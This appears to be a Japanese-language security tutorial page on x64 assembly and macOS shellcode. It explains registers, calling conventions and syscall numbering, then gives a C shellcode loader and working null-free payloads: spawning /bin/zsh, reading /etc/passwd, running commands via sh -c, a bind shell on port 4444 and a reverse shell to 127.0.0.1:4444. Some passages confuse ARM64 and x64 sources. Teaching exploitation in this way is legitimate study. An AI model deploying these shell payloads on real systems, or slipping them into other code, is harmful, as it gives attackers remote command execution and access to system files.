Introduction to x64

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Introduction to x64

x64、またはx86-64としても知られる、は主にデスクトップおよびサーバーコンピューティングで使用される64ビットプロセッサアーキテクチャです。Intelによって製造されたx86アーキテクチャに由来し、後にAMDによってAMD64という名前で採用され、現在のパーソナルコンピュータやサーバーで広く使用されています。

Registers

x64はx86アーキテクチャを拡張し、16の汎用レジスタを持ち、rax、rbx、rcx、rdx、rbp、rsp、rsi、rdi、およびr8からr15までのラベルが付けられています。これらの各レジスタは64ビット（8バイト）の値を格納できます。これらのレジスタには、互換性と特定のタスクのために32ビット、16ビット、8ビットのサブレジスタもあります。

1. rax - 通常、関数からの戻り値に使用されます。

2. rbx - メモリ操作のためのベースレジスタとしてよく使用されます。

3. rcx - ループカウンタとして一般的に使用されます。

4. rdx - 拡張算術演算を含むさまざまな役割で使用されます。

5. rbp - スタックフレームのベースポインタ。

6. rsp - スタックポインタ、スタックのトップを追跡します。

7. rsiとrdi - 文字列/メモリ操作におけるソースおよびデスティネーションインデックスに使用されます。

8. r8からr15 - x64で導入された追加の汎用レジスタ。

Calling Convention

x64の呼び出し規約はオペレーティングシステムによって異なります。例えば：

• Windows: 最初の4つのパラメータはレジスタ**rcx、rdx、r8、およびr9に渡されます。さらにパラメータはスタックにプッシュされます。戻り値はrax**にあります。

• System V（UNIX系システムで一般的に使用される）: 最初の6つの整数またはポインタパラメータはレジスタ**rdi、rsi、rdx、rcx、r8、およびr9に渡されます。戻り値もrax**にあります。

関数に6つ以上の入力がある場合、残りはスタックに渡されます。RSP、スタックポインタは16バイトアラインされている必要があり、これは呼び出しが行われる前に指すアドレスが16で割り切れる必要があることを意味します。これは通常、関数呼び出しを行う前に、私たちのシェルコードでRSPが適切にアラインされていることを確認する必要があることを意味します。しかし、実際には、この要件が満たされていなくてもシステムコールは多くの場合機能します。

Calling Convention in Swift

Swiftには独自の呼び出し規約があり、https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64で確認できます。

Common Instructions

x64命令は豊富なセットを持ち、以前のx86命令との互換性を維持し、新しい命令を導入しています。

• mov: あるレジスタまたはメモリ位置から別の場所に値を移動します。

• 例: mov rax, rbx — rbxからraxに値を移動します。

• pushとpop: スタックに値をプッシュまたはポップします。

• 例: push rax — raxの値をスタックにプッシュします。

• 例: pop rax — スタックのトップの値をraxにポップします。

• addとsub: 加算および減算操作。

• 例: add rax, rcx — raxとrcxの値を加算し、結果をraxに格納します。

• mulとdiv: 乗算および除算操作。注意: これらはオペランドの使用に関して特定の動作を持ちます。

• callとret: 関数を呼び出すおよび戻るために使用されます。

• int: ソフトウェアの割り込みをトリガーするために使用されます。例: int 0x80は32ビットx86 Linuxでシステムコールに使用されました。

• cmp: 2つの値を比較し、結果に基づいてCPUのフラグを設定します。

• 例: cmp rax, rdx — raxをrdxと比較します。

• je, jne, jl, jge, ...: 前のcmpまたはテストの結果に基づいて制御フローを変更する条件付きジャンプ命令。

• 例: cmp rax, rdx命令の後、je label — raxがrdxと等しい場合、labelにジャンプします。

• syscall: 一部のx64システム（現代のUnixなど）でのシステムコールに使用されます。

• sysenter: 一部のプラットフォームでの最適化されたシステムコール命令。

Function Prologue

1. 古いベースポインタをプッシュ: push rbp（呼び出し元のベースポインタを保存）

2. 現在のスタックポインタをベースポインタに移動: mov rbp, rsp（現在の関数のための新しいベースポインタを設定）

3. ローカル変数のためにスタックにスペースを割り当てる: sub rsp, <size>（<size>は必要なバイト数）

Function Epilogue

1. 現在のベースポインタをスタックポインタに移動: mov rsp, rbp（ローカル変数を解放）

2. 古いベースポインタをスタックからポップ: pop rbp（呼び出し元のベースポインタを復元）

3. 戻る: ret（呼び出し元に制御を戻す）

macOS

syscalls

さまざまなクラスのsyscallがあり、ここで見つけることができます:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

次に、各システムコール番号をこのURLで見つけることができます：

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

そのため、Unix/BSDクラスからopenシステムコール（5）を呼び出すには、次のように追加する必要があります：0x2000000

したがって、openを呼び出すためのシステムコール番号は0x2000005になります。

シェルコード

コンパイルするには：

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

バイトを抽出するには：

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

シェルコードをテストするためのCコード

```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### シェル

[**こちら**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)から取得し、説明されています。

<div data-gb-custom-block data-tag="tabs">

<div data-gb-custom-block data-tag="tab" data-title='adrを使用'>

```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

catで読む

目的はexecve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)を実行することであり、第二引数（x1）はパラメータの配列です（これはメモリ内ではアドレスのスタックを意味します）。

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

shを使ってコマンドを呼び出す

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Bind shell

ポート 4444 の https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html からの Bind shell

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

リバースシェル

リバースシェルは https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html から。リバースシェルは 127.0.0.1:4444 へ。

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall

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